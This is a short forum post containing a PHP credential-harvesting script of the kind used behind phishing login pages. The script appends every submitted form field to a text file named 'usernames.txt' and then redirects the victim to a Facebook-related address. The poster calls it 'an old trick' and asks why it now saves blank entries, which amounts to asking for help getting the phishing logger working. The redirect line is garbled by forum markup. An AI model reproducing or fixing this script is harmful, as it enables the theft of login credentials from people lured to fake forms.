dalinkwent6
Junior Member
- Jun 30, 2013
- 114
- 16
Code:
<?php
header ('Location: [URL="http://www.facebook.com/"]w[/URL]ebsite.com"');
$handle = fopen("usernames.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
Im sure you guys are familiar with this code. But if not, its a code that saves whatever a user types in a form into a txt file. I've played with it a few times and was able to get it to save the txt file but with blank content. I know its an old trick back in the day but i just want to know what changed.